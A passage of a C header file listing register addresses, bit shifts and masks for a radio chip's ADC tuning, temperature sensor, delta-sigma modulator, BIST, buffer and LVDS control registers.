#define RADIO_BK1_CH3_ADC_EN1 0x62
#define RADIO_BK1_CH3_ADC_EN1_ZEROSEL_SHIFT 0
#define RADIO_BK1_CH3_ADC_EN1_ZEROSEL_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN1_REFNBUF_EN_SHIFT 1
#define RADIO_BK1_CH3_ADC_EN1_REFNBUF_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN1_REFPBUF_EN_SHIFT 2
#define RADIO_BK1_CH3_ADC_EN1_REFPBUF_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN1_ESL_EN_SHIFT 3
#define RADIO_BK1_CH3_ADC_EN1_ESL_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN1_IDAC3_EN_SHIFT 4
#define RADIO_BK1_CH3_ADC_EN1_IDAC3_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN1_IDAC1_EN_SHIFT 5
#define RADIO_BK1_CH3_ADC_EN1_IDAC1_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN1_BIAS_EN_SHIFT 6
#define RADIO_BK1_CH3_ADC_EN1_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN1_CMP_VCALREF_EN_SHIFT 7
#define RADIO_BK1_CH3_ADC_EN1_CMP_VCALREF_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE0 0x63
#define RADIO_BK1_CH3_ADC_TUNE0_OP_SHORTRST_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE0_OP_SHORTRST_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE0_OP_FBRST_SHIFT 1
#define RADIO_BK1_CH3_ADC_TUNE0_OP_FBRST_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE0_IDAC_RST_SHIFT 2
#define RADIO_BK1_CH3_ADC_TUNE0_IDAC_RST_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE0_SHORTRST_SHIFT 3
#define RADIO_BK1_CH3_ADC_TUNE0_SHORTRST_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE0_FBRST_SHIFT 4
#define RADIO_BK1_CH3_ADC_TUNE0_FBRST_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE1 0x64
#define RADIO_BK1_CH3_ADC_TUNE1_BUFFER_IBSEL_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE1_BUFFER_IBSEL_MASK 0x7
#define RADIO_BK1_CH3_ADC_TUNE1_BUFFER_IBSEL_SPARE_SHIFT 3
#define RADIO_BK1_CH3_ADC_TUNE1_BUFFER_IBSEL_SPARE_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE1_BUFFER_VCMSEL_SHIFT 4
#define RADIO_BK1_CH3_ADC_TUNE1_BUFFER_VCMSEL_MASK 0x7
#define RADIO_BK1_CH3_ADC_TUNE2 0x65
#define RADIO_BK1_CH3_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_MASK 0x7
#define RADIO_BK1_CH3_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SPARE_SHIFT 3
#define RADIO_BK1_CH3_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SPARE_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE2_BUFFER_CAPSEL_SHIFT 4
#define RADIO_BK1_CH3_ADC_TUNE2_BUFFER_CAPSEL_MASK 0x3
#define RADIO_BK1_CH3_ADC_TUNE3 0x66
#define RADIO_BK1_CH3_ADC_TUNE3_EXTCAPSEL_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE3_EXTCAPSEL_MASK 0x3f
#define RADIO_BK1_CH3_ADC_TUNE3_EXTCAP_EN_SHIFT 6
#define RADIO_BK1_CH3_ADC_TUNE3_EXTCAP_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE4 0x67
#define RADIO_BK1_CH3_ADC_TUNE4_IDAC3_IBSEL_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE4_IDAC3_IBSEL_MASK 0xf
#define RADIO_BK1_CH3_ADC_TUNE4_IDAC1_IBSEL_SHIFT 4
#define RADIO_BK1_CH3_ADC_TUNE4_IDAC1_IBSEL_MASK 0xf
#define RADIO_BK1_CH3_ADC_TUNE5 0x68
#define RADIO_BK1_CH3_ADC_TUNE5_OP2_IBSEL_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE5_OP2_IBSEL_MASK 0xf
#define RADIO_BK1_CH3_ADC_TUNE5_OP1_IBSEL_SHIFT 4
#define RADIO_BK1_CH3_ADC_TUNE5_OP1_IBSEL_MASK 0xf
#define RADIO_BK1_CH3_ADC_TUNE6 0x69
#define RADIO_BK1_CH3_ADC_TUNE6_OP3_IBSEL_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE6_OP3_IBSEL_MASK 0xf
#define RADIO_BK1_CH3_ADC_TUNE6_VOCM1_SEL_SHIFT 4
#define RADIO_BK1_CH3_ADC_TUNE6_VOCM1_SEL_MASK 0x7
#define RADIO_BK1_CH3_ADC_TUNE7 0x6a
#define RADIO_BK1_CH3_ADC_TUNE7_VOCM3_SEL_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE7_VOCM3_SEL_MASK 0x7
#define RADIO_BK1_CH3_ADC_TUNE7_VOCM3_SEL_SPARE_SHIFT 3
#define RADIO_BK1_CH3_ADC_TUNE7_VOCM3_SEL_SPARE_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE7_VOCM2_SEL_SHIFT 4
#define RADIO_BK1_CH3_ADC_TUNE7_VOCM2_SEL_MASK 0x7
#define RADIO_BK1_CH3_ADC_TUNE8 0x6b
#define RADIO_BK1_CH3_ADC_TUNE8_BASEREF_SEL_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE8_BASEREF_SEL_MASK 0x7
#define RADIO_BK1_CH3_ADC_TUNE8_BASEREF_SEL_SPARE_SHIFT 3
#define RADIO_BK1_CH3_ADC_TUNE8_BASEREF_SEL_SPARE_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE8_REF_SEL_SHIFT 4
#define RADIO_BK1_CH3_ADC_TUNE8_REF_SEL_MASK 0x7
#define RADIO_BK1_CH3_ADC_TUNE9 0x6c
#define RADIO_BK1_CH3_ADC_TUNE9_TSTMUX_SEL_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE9_TSTMUX_SEL_MASK 0x7
#define RADIO_BK1_CH3_ADC_TUNE9_VTHBUF_CAPSEL_SHIFT 3
#define RADIO_BK1_CH3_ADC_TUNE9_VTHBUF_CAPSEL_MASK 0x3
#define RADIO_BK1_CH3_ADC_TUNE9_VTHBUF_IBSEL_SHIFT 5
#define RADIO_BK1_CH3_ADC_TUNE9_VTHBUF_IBSEL_MASK 0x7
#define RADIO_BK1_CH3_ADC_TUNE10 0x6d
#define RADIO_BK1_CH3_ADC_TUNE10_SATDET_EN_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE10_SATDET_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE10_MUXIN_EN_SHIFT 1
#define RADIO_BK1_CH3_ADC_TUNE10_MUXIN_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE10_CMP_VCALREF_SEL_SHIFT 2
#define RADIO_BK1_CH3_ADC_TUNE10_CMP_VCALREF_SEL_MASK 0x3
#define RADIO_BK1_CH3_ADC_TUNE10_VTHBUF_IADD_EN_SHIFT 4
#define RADIO_BK1_CH3_ADC_TUNE10_VTHBUF_IADD_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE10_CMP_OSCALIB_CLKEN_SHIFT 5
#define RADIO_BK1_CH3_ADC_TUNE10_CMP_OSCALIB_CLKEN_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE11 0x6e
#define RADIO_BK1_CH3_ADC_TUNE11_SPARE_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE11_SPARE_MASK 0xf
#define RADIO_BK1_CH3_ADC_TUNE11_CMP_OSCALIB_START_SHIFT 4
#define RADIO_BK1_CH3_ADC_TUNE11_CMP_OSCALIB_START_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE11_CMP_OSCALIB_EN_SHIFT 5
#define RADIO_BK1_CH3_ADC_TUNE11_CMP_OSCALIB_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE11_CMP_OSCALIB_SHORT2VCM_EN_SHIFT 6
#define RADIO_BK1_CH3_ADC_TUNE11_CMP_OSCALIB_SHORT2VCM_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE11_CMP_OSCALIB_PN_SHIFT 7
#define RADIO_BK1_CH3_ADC_TUNE11_CMP_OSCALIB_PN_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE12 0x6f
#define RADIO_BK1_CH3_ADC_TUNE12_SATDET_SHIFT 0
#define RADIO_BK1_CH3_ADC_TUNE12_SATDET_MASK 0x1
#define RADIO_BK1_CH3_ADC_TUNE12_CMP_OSCALIB_ALLREADY_SHIFT 1
#define RADIO_BK1_CH3_ADC_TUNE12_CMP_OSCALIB_ALLREADY_MASK 0x1
#define RADIO_BK1_ADC_MUX_OUT_SEL 0x70
#define RADIO_BK1_ADC_MUX_OUT_SEL_CLK_EN_SHIFT 0
#define RADIO_BK1_ADC_MUX_OUT_SEL_CLK_EN_MASK 0x1
#define RADIO_BK1_ADC_MUX_OUT_SEL_MUXOUT_SEL_SHIFT 1
#define RADIO_BK1_ADC_MUX_OUT_SEL_MUXOUT_SEL_MASK 0x3
#define RADIO_BK1_ADC_MUX_OUT_SEL_MUXOUT_EN_SHIFT 3
#define RADIO_BK1_ADC_MUX_OUT_SEL_MUXOUT_EN_MASK 0x1
#define RADIO_BK1_ADC_MUX_OUT_SEL_SPARE_SHIFT 4
#define RADIO_BK1_ADC_MUX_OUT_SEL_SPARE_MASK 0xf
#define RADIO_BK1_TSENSAR_7BITS_EN1 0x71
#define RADIO_BK1_TSENSAR_7BITS_EN1_INPUTMUX_SEL_SHIFT 0
#define RADIO_BK1_TSENSAR_7BITS_EN1_INPUTMUX_SEL_MASK 0x3
#define RADIO_BK1_TSENSAR_7BITS_EN1_CONV_START_SHIFT 2
#define RADIO_BK1_TSENSAR_7BITS_EN1_CONV_START_MASK 0x1
#define RADIO_BK1_TSENSAR_7BITS_EN1_EN_SHIFT 3
#define RADIO_BK1_TSENSAR_7BITS_EN1_EN_MASK 0x1
#define RADIO_BK1_TSENSAR_7BITS_EN1_CLK_SEL_SHIFT 4
#define RADIO_BK1_TSENSAR_7BITS_EN1_CLK_SEL_MASK 0x7
#define RADIO_BK1_TSENSAR_7BITS_EN1_TESTMUX_EN_SHIFT 7
#define RADIO_BK1_TSENSAR_7BITS_EN1_TESTMUX_EN_MASK 0x1
#define RADIO_BK1_TSENSAR_7BITS_DACTEST 0x72
#define RADIO_BK1_TSENSAR_7BITS_DACTEST_SHIFT 0
#define RADIO_BK1_TSENSAR_7BITS_DACTEST_MASK 0x7f
#define RADIO_BK1_TSENSAR_7BITS_DACTEST_EN_SHIFT 7
#define RADIO_BK1_TSENSAR_7BITS_DACTEST_EN_MASK 0x1
#define RADIO_BK1_TSENSAR_7BITS_DOUT 0x73
#define RADIO_BK1_TSENSAR_7BITS_DOUT_SHIFT 0
#define RADIO_BK1_TSENSAR_7BITS_DOUT_MASK 0x7f
#define RADIO_BK1_DTSMD1_MUXIN_SEL 0x74
#define RADIO_BK1_DTSMD1_MUXIN_SEL_DTSDM_MUXIN_SEL_SHIFT 0
#define RADIO_BK1_DTSMD1_MUXIN_SEL_DTSDM_MUXIN_SEL_MASK 0x3
#define RADIO_BK1_DTSMD1_MUXIN_SEL_ADC_CLK_5M_EN_SHIFT 2
#define RADIO_BK1_DTSMD1_MUXIN_SEL_ADC_CLK_5M_EN_MASK 0x1
#define RADIO_BK1_DTSMD1_MUXIN_SEL_ADC_MUXN_EN_SHIFT 3
#define RADIO_BK1_DTSMD1_MUXIN_SEL_ADC_MUXN_EN_MASK 0x1
#define RADIO_BK1_DTSMD1_MUXIN_SEL_ADC_MUXP_EN_SHIFT 4
#define RADIO_BK1_DTSMD1_MUXIN_SEL_ADC_MUXP_EN_MASK 0x1
#define RADIO_BK1_DTSDM1_EN 0x75
#define RADIO_BK1_DTSDM1_EN_DTSDM_RST_SHIFT 0
#define RADIO_BK1_DTSDM1_EN_DTSDM_RST_MASK 0x1
#define RADIO_BK1_DTSDM1_EN_DTSDM_VCMGEN_EN_SHIFT 1
#define RADIO_BK1_DTSDM1_EN_DTSDM_VCMGEN_EN_MASK 0x1
#define RADIO_BK1_DTSDM1_EN_DTSDM_REFGEN_EN_SHIFT 2
#define RADIO_BK1_DTSDM1_EN_DTSDM_REFGEN_EN_MASK 0x1
#define RADIO_BK1_DTSDM1_EN_DTSDM_OP2_EN_SHIFT 3
#define RADIO_BK1_DTSDM1_EN_DTSDM_OP2_EN_MASK 0x1
#define RADIO_BK1_DTSDM1_EN_DTSDM_OP1_EN_SHIFT 4
#define RADIO_BK1_DTSDM1_EN_DTSDM_OP1_EN_MASK 0x1
#define RADIO_BK1_DTSDM1_EN_DTSDM_BIAS_EN_SHIFT 5
#define RADIO_BK1_DTSDM1_EN_DTSDM_BIAS_EN_MASK 0x1
#define RADIO_BK1_DTSDM1_EN_DTSDM_BUF_EN_SHIFT 6
#define RADIO_BK1_DTSDM1_EN_DTSDM_BUF_EN_MASK 0x1
#define RADIO_BK1_DTSDM1_EN_DTSDM_BUF_BYPASS_SHIFT 7
#define RADIO_BK1_DTSDM1_EN_DTSDM_BUF_BYPASS_MASK 0x1
#define RADIO_BK1_DTSMD1_SEL 0x76
#define RADIO_BK1_DTSMD1_SEL_DTSDM_REFSEL_SHIFT 0
#define RADIO_BK1_DTSMD1_SEL_DTSDM_REFSEL_MASK 0x1f
#define RADIO_BK1_DTSMD1_SEL_DTSDM_REF_TUNE_SHIFT 5
#define RADIO_BK1_DTSMD1_SEL_DTSDM_REF_TUNE_MASK 0x1
#define RADIO_BK1_DTSMD1_SEL_DTSDM_TESTSEL_SHIFT 6
#define RADIO_BK1_DTSMD1_SEL_DTSDM_TESTSEL_MASK 0x3
#define RADIO_BK1_DTSDM1_DAT0 0x77
#define RADIO_BK1_DTSDM1_DAT0_SHIFT 0
#define RADIO_BK1_DTSDM1_DAT0_MASK 0xff
#define RADIO_BK1_DTSDM1_DAT1 0x78
#define RADIO_BK1_DTSDM1_DAT1_SHIFT 0
#define RADIO_BK1_DTSDM1_DAT1_MASK 0xff
#define RADIO_BK1_DTSDM1_DAT2 0x79
#define RADIO_BK1_DTSDM1_DAT2_SHIFT 0
#define RADIO_BK1_DTSDM1_DAT2_MASK 0x3
#define RADIO_BK1_DTSMD2_MUXIN_SEL 0x7a
#define RADIO_BK1_DTSMD2_MUXIN_SEL_DTSDM_MUXIN_SEL_SHIFT 0
#define RADIO_BK1_DTSMD2_MUXIN_SEL_DTSDM_MUXIN_SEL_MASK 0x3
#define RADIO_BK1_DTSMD2_MUXIN_SEL_TS_VPTAT_CAL_SHIFT 2
#define RADIO_BK1_DTSMD2_MUXIN_SEL_TS_VPTAT_CAL_MASK 0x7
#define RADIO_BK1_DTSMD2_MUXIN_SEL_TS_TESTSEL_SHIFT 5
#define RADIO_BK1_DTSMD2_MUXIN_SEL_TS_TESTSEL_MASK 0x3
#define RADIO_BK1_DTSMD2_MUXIN_SEL_TS_BG_EN_SHIFT 7
#define RADIO_BK1_DTSMD2_MUXIN_SEL_TS_BG_EN_MASK 0x1
#define RADIO_BK1_DTSDM2_EN 0x7b
#define RADIO_BK1_DTSDM2_EN_DTSDM_RST_SHIFT 0
#define RADIO_BK1_DTSDM2_EN_DTSDM_RST_MASK 0x1
#define RADIO_BK1_DTSDM2_EN_DTSDM_VCMGEN_EN_SHIFT 1
#define RADIO_BK1_DTSDM2_EN_DTSDM_VCMGEN_EN_MASK 0x1
#define RADIO_BK1_DTSDM2_EN_DTSDM_REFGEN_EN_SHIFT 2
#define RADIO_BK1_DTSDM2_EN_DTSDM_REFGEN_EN_MASK 0x1
#define RADIO_BK1_DTSDM2_EN_DTSDM_OP2_EN_SHIFT 3
#define RADIO_BK1_DTSDM2_EN_DTSDM_OP2_EN_MASK 0x1
#define RADIO_BK1_DTSDM2_EN_DTSDM_OP1_EN_SHIFT 4
#define RADIO_BK1_DTSDM2_EN_DTSDM_OP1_EN_MASK 0x1
#define RADIO_BK1_DTSDM2_EN_DTSDM_BIAS_EN_SHIFT 5
#define RADIO_BK1_DTSDM2_EN_DTSDM_BIAS_EN_MASK 0x1
#define RADIO_BK1_DTSDM2_EN_DTSDM_BUF_EN_SHIFT 6
#define RADIO_BK1_DTSDM2_EN_DTSDM_BUF_EN_MASK 0x1
#define RADIO_BK1_DTSDM2_EN_DTSDM_BUF_BYPASS_SHIFT 7
#define RADIO_BK1_DTSDM2_EN_DTSDM_BUF_BYPASS_MASK 0x1
#define RADIO_BK1_DTSMD2_SEL 0x7c
#define RADIO_BK1_DTSMD2_SEL_DTSDM_REFSEL_SHIFT 0
#define RADIO_BK1_DTSMD2_SEL_DTSDM_REFSEL_MASK 0x1f
#define RADIO_BK1_DTSMD2_SEL_DTSDM_REF_TUNE_SHIFT 5
#define RADIO_BK1_DTSMD2_SEL_DTSDM_REF_TUNE_MASK 0x1
#define RADIO_BK1_DTSMD2_SEL_DTSDM_TESTSEL_SHIFT 6
#define RADIO_BK1_DTSMD2_SEL_DTSDM_TESTSEL_MASK 0x3
#define RADIO_BK1_DTSDM2_DAT0 0x7d
#define RADIO_BK1_DTSDM2_DAT0_SHIFT 0
#define RADIO_BK1_DTSDM2_DAT0_MASK 0xff
#define RADIO_BK1_DTSDM2_DAT1 0x7e
#define RADIO_BK1_DTSDM2_DAT1_SHIFT 0
#define RADIO_BK1_DTSDM2_DAT1_MASK 0xff
#define RADIO_BK1_DTSDM2_DAT2 0x7f
#define RADIO_BK1_DTSDM2_DAT2_SHIFT 0
#define RADIO_BK1_DTSDM2_DAT2_MASK 0x3
#define RADIO_BK2_BIST_LDO 0x1
#define RADIO_BK2_BIST_LDO_LDO11_BIST_TURBO_SHIFT 0
#define RADIO_BK2_BIST_LDO_LDO11_BIST_TURBO_MASK 0x1
#define RADIO_BK2_BIST_LDO_LDO11_BIST_TEST_SEL_SHIFT 1
#define RADIO_BK2_BIST_LDO_LDO11_BIST_TEST_SEL_MASK 0x1
#define RADIO_BK2_BIST_LDO_LDO11_BIST_TEST_EN_SHIFT 2
#define RADIO_BK2_BIST_LDO_LDO11_BIST_TEST_EN_MASK 0x1
#define RADIO_BK2_BIST_LDO_LDO11_BIST_BYPASS_EN_SHIFT 3
#define RADIO_BK2_BIST_LDO_LDO11_BIST_BYPASS_EN_MASK 0x1
#define RADIO_BK2_BIST_LDO_LDO11_BIST_VOUT_SEL_SHIFT 4
#define RADIO_BK2_BIST_LDO_LDO11_BIST_VOUT_SEL_MASK 0x7
#define RADIO_BK2_BIST_LDO_LDO11_BIST_EN_SHIFT 7
#define RADIO_BK2_BIST_LDO_LDO11_BIST_EN_MASK 0x1
#define RADIO_BK2_BIST_EN0 0x2
#define RADIO_BK2_BIST_EN0_BIST_BUFF_STG5_EN_SHIFT 0
#define RADIO_BK2_BIST_EN0_BIST_BUFF_STG5_EN_MASK 0x1
#define RADIO_BK2_BIST_EN0_BIST_BUFF_STG4_EN_SHIFT 1
#define RADIO_BK2_BIST_EN0_BIST_BUFF_STG4_EN_MASK 0x1
#define RADIO_BK2_BIST_EN0_BIST_BUFF_STG3_EN_SHIFT 2
#define RADIO_BK2_BIST_EN0_BIST_BUFF_STG3_EN_MASK 0x1
#define RADIO_BK2_BIST_EN0_BIST_BUFF_STG2_EN_SHIFT 3
#define RADIO_BK2_BIST_EN0_BIST_BUFF_STG2_EN_MASK 0x1
#define RADIO_BK2_BIST_EN0_BIST_BUFF_STG1_EN_SHIFT 4
#define RADIO_BK2_BIST_EN0_BIST_BUFF_STG1_EN_MASK 0x1
#define RADIO_BK2_BIST_EN0_BIREF_BIST_MIXER_EN_SHIFT 5
#define RADIO_BK2_BIST_EN0_BIREF_BIST_MIXER_EN_MASK 0x1
#define RADIO_BK2_BIST_EN0_BIST_DAC2BB_SHIFT 6
#define RADIO_BK2_BIST_EN0_BIST_DAC2BB_MASK 0x1
#define RADIO_BK2_BIST_EN0_DAC_EN_SHIFT 7
#define RADIO_BK2_BIST_EN0_DAC_EN_MASK 0x1
#define RADIO_BK2_BIST_EN1 0x3
#define RADIO_BK2_BIST_EN1_RXRF_CH3_RXBIST_EN_SHIFT 0
#define RADIO_BK2_BIST_EN1_RXRF_CH3_RXBIST_EN_MASK 0x1
#define RADIO_BK2_BIST_EN1_RXRF_CH2_RXBIST_EN_SHIFT 1
#define RADIO_BK2_BIST_EN1_RXRF_CH2_RXBIST_EN_MASK 0x1
#define RADIO_BK2_BIST_EN1_RXRF_CH1_RXBIST_EN_SHIFT 2
#define RADIO_BK2_BIST_EN1_RXRF_CH1_RXBIST_EN_MASK 0x1
#define RADIO_BK2_BIST_EN1_RXRF_CH0_RXBIST_EN_SHIFT 3
#define RADIO_BK2_BIST_EN1_RXRF_CH0_RXBIST_EN_MASK 0x1
#define RADIO_BK2_BIST_EN1_BIST_EN_SPARE_SHIFT 4
#define RADIO_BK2_BIST_EN1_BIST_EN_SPARE_MASK 0x1
#define RADIO_BK2_BIST_EN1_BIST_FD_RSTN_SHIFT 5
#define RADIO_BK2_BIST_EN1_BIST_FD_RSTN_MASK 0x1
#define RADIO_BK2_BIST_EN1_BIST_FD2BB_SHIFT 6
#define RADIO_BK2_BIST_EN1_BIST_FD2BB_MASK 0x1
#define RADIO_BK2_BIST_EN1_BIST_BB_MUXOUT_SHIFT 7
#define RADIO_BK2_BIST_EN1_BIST_BB_MUXOUT_MASK 0x1
#define RADIO_BK2_BIST_BIAS0 0x4
#define RADIO_BK2_BIST_BIAS0_BIST_BUFF_STG2_BIAS_SHIFT 0
#define RADIO_BK2_BIST_BIAS0_BIST_BUFF_STG2_BIAS_MASK 0xf
#define RADIO_BK2_BIST_BIAS0_BIST_BUFF_STG1_BIAS_SHIFT 4
#define RADIO_BK2_BIST_BIAS0_BIST_BUFF_STG1_BIAS_MASK 0xf
#define RADIO_BK2_BIST_BIAS1 0x5
#define RADIO_BK2_BIST_BIAS1_BIST_BUFF_STG4_BIAS_SHIFT 0
#define RADIO_BK2_BIST_BIAS1_BIST_BUFF_STG4_BIAS_MASK 0xf
#define RADIO_BK2_BIST_BIAS1_BIST_BUFF_STG3_BIAS_SHIFT 4
#define RADIO_BK2_BIST_BIAS1_BIST_BUFF_STG3_BIAS_MASK 0xf
#define RADIO_BK2_BIST_BIAS2 0x6
#define RADIO_BK2_BIST_BIAS2_BIREF_BIST_MIXER_BIAS_SHIFT 0
#define RADIO_BK2_BIST_BIAS2_BIREF_BIST_MIXER_BIAS_MASK 0xf
#define RADIO_BK2_BIST_BIAS2_BIST_BUFF_STG5_BIAS_SHIFT 4
#define RADIO_BK2_BIST_BIAS2_BIST_BUFF_STG5_BIAS_MASK 0xf
#define RADIO_BK2_BIST_BIAS3 0x7
#define RADIO_BK2_BIST_BIAS3_RXRF_CH1_RXBIST_BIAS_SHIFT 0
#define RADIO_BK2_BIST_BIAS3_RXRF_CH1_RXBIST_BIAS_MASK 0xf
#define RADIO_BK2_BIST_BIAS3_RXRF_CH0_RXBIST_BIAS_SHIFT 4
#define RADIO_BK2_BIST_BIAS3_RXRF_CH0_RXBIST_BIAS_MASK 0xf
#define RADIO_BK2_BIST_BIAS4 0x8
#define RADIO_BK2_BIST_BIAS4_RXRF_CH3_RXBIST_BIAS_SHIFT 0
#define RADIO_BK2_BIST_BIAS4_RXRF_CH3_RXBIST_BIAS_MASK 0xf
#define RADIO_BK2_BIST_BIAS4_RXRF_CH2_RXBIST_BIAS_SHIFT 4
#define RADIO_BK2_BIST_BIAS4_RXRF_CH2_RXBIST_BIAS_MASK 0xf
#define RADIO_BK2_LVDS_BUFFER_LDO 0x9
#define RADIO_BK2_LVDS_BUFFER_LDO_SHIFT 0
#define RADIO_BK2_LVDS_BUFFER_LDO_MASK 0xff
#define RADIO_BK2_CH0_BUFFER 0xa
#define RADIO_BK2_CH0_BUFFER_TESTSEL_SHIFT 0
#define RADIO_BK2_CH0_BUFFER_TESTSEL_MASK 0x3
#define RADIO_BK2_CH0_BUFFER_CAPSEL_SHIFT 2
#define RADIO_BK2_CH0_BUFFER_CAPSEL_MASK 0x3
#define RADIO_BK2_CH0_BUFFER_IADD_EN_SHIFT 4
#define RADIO_BK2_CH0_BUFFER_IADD_EN_MASK 0x1
#define RADIO_BK2_CH0_BUFFER_EN_SHIFT 5
#define RADIO_BK2_CH0_BUFFER_EN_MASK 0x1
#define RADIO_BK2_CH1_BUFFER 0xb
#define RADIO_BK2_CH1_BUFFER_TESTSEL_SHIFT 0
#define RADIO_BK2_CH1_BUFFER_TESTSEL_MASK 0x3
#define RADIO_BK2_CH1_BUFFER_CAPSEL_SHIFT 2
#define RADIO_BK2_CH1_BUFFER_CAPSEL_MASK 0x3
#define RADIO_BK2_CH1_BUFFER_IADD_EN_SHIFT 4
#define RADIO_BK2_CH1_BUFFER_IADD_EN_MASK 0x1
#define RADIO_BK2_CH1_BUFFER_EN_SHIFT 5
#define RADIO_BK2_CH1_BUFFER_EN_MASK 0x1
#define RADIO_BK2_CH2_BUFFER 0xc
#define RADIO_BK2_CH2_BUFFER_TESTSEL_SHIFT 0
#define RADIO_BK2_CH2_BUFFER_TESTSEL_MASK 0x3
#define RADIO_BK2_CH2_BUFFER_CAPSEL_SHIFT 2
#define RADIO_BK2_CH2_BUFFER_CAPSEL_MASK 0x3
#define RADIO_BK2_CH2_BUFFER_IADD_EN_SHIFT 4
#define RADIO_BK2_CH2_BUFFER_IADD_EN_MASK 0x1
#define RADIO_BK2_CH2_BUFFER_EN_SHIFT 5
#define RADIO_BK2_CH2_BUFFER_EN_MASK 0x1
#define RADIO_BK2_CH3_BUFFER 0xd
#define RADIO_BK2_CH3_BUFFER_TESTSEL_SHIFT 0
#define RADIO_BK2_CH3_BUFFER_TESTSEL_MASK 0x3
#define RADIO_BK2_CH3_BUFFER_CAPSEL_SHIFT 2
#define RADIO_BK2_CH3_BUFFER_CAPSEL_MASK 0x3
#define RADIO_BK2_CH3_BUFFER_IADD_EN_SHIFT 4
#define RADIO_BK2_CH3_BUFFER_IADD_EN_MASK 0x1
#define RADIO_BK2_CH3_BUFFER_EN_SHIFT 5
#define RADIO_BK2_CH3_BUFFER_EN_MASK 0x1
#define RADIO_BK2_CH0_LVDS 0xe
#define RADIO_BK2_CH0_LVDS_DELAY_SEL_SHIFT 0
#define RADIO_BK2_CH0_LVDS_DELAY_SEL_MASK 0x7
#define RADIO_BK2_CH0_LVDS_CUR_SEL_SHIFT 3
#define RADIO_BK2_CH0_LVDS_CUR_SEL_MASK 0x3
#define RADIO_BK2_CH0_LVDS_PRE_EN_SHIFT 5
#define RADIO_BK2_CH0_LVDS_PRE_EN_MASK 0x1
#define RADIO_BK2_CH0_LVDS_EN_SHIFT 6
#define RADIO_BK2_CH0_LVDS_EN_MASK 0x1
#define RADIO_BK2_CH0_LVDS_INPUT_SEL_SHIFT 7
#define RADIO_BK2_CH0_LVDS_INPUT_SEL_MASK 0x1
#define RADIO_BK2_CH1_LVDS 0xf
#define RADIO_BK2_CH1_LVDS_DELAY_SEL_SHIFT 0
#define RADIO_BK2_CH1_LVDS_DELAY_SEL_MASK 0x7
#define RADIO_BK2_CH1_LVDS_CUR_SEL_SHIFT 3
#define RADIO_BK2_CH1_LVDS_CUR_SEL_MASK 0x3
#define RADIO_BK2_CH1_LVDS_PRE_EN_SHIFT 5
#define RADIO_BK2_CH1_LVDS_PRE_EN_MASK 0x1
#define RADIO_BK2_CH1_LVDS_EN_SHIFT 6
#define RADIO_BK2_CH1_LVDS_EN_MASK 0x1
#define RADIO_BK2_CH2_LVDS 0x10
#define RADIO_BK2_CH2_LVDS_DELAY_SEL_SHIFT 0
#define RADIO_BK2_CH2_LVDS_DELAY_SEL_MASK 0x7
#define RADIO_BK2_CH2_LVDS_CUR_SEL_SHIFT 3
#define RADIO_BK2_CH2_LVDS_CUR_SEL_MASK 0x3
#define RADIO_BK2_CH2_LVDS_PRE_EN_SHIFT 5
#define RADIO_BK2_CH2_LVDS_PRE_EN_MASK 0x1
#define RADIO_BK2_CH2_LVDS_EN_SHIFT 6
#define RADIO_BK2_CH2_LVDS_EN_MASK 0x1
#define RADIO_BK2_CH3_LVDS 0x11
#define RADIO_BK2_CH3_LVDS_DELAY_SEL_SHIFT 0
#define RADIO_BK2_CH3_LVDS_DELAY_SEL_MASK 0x7
#define RADIO_BK2_CH3_LVDS_CUR_SEL_SHIFT 3
#define RADIO_BK2_CH3_LVDS_CUR_SEL_MASK 0x3
#define RADIO_BK2_CH3_LVDS_PRE_EN_SHIFT 5
#define RADIO_BK2_CH3_LVDS_PRE_EN_MASK 0x1
#define RADIO_BK2_CH3_LVDS_EN_SHIFT 6
#define RADIO_BK2_CH3_LVDS_EN_MASK 0x1
#define RADIO_BK2_LVDS_CLK 0x12
#define RADIO_BK2_LVDS_CLK_DELAY_SEL_SHIFT 0
#define RADIO_BK2_LVDS_CLK_DELAY_SEL_MASK 0x7
#define RADIO_BK2_LVDS_CLK_CUR_SEL_SHIFT 3
#define RADIO_BK2_LVDS_CLK_CUR_SEL_MASK 0x3
#define RADIO_BK2_LVDS_CLK_PRE_EN_SHIFT 5
#define RADIO_BK2_LVDS_CLK_PRE_EN_MASK 0x1
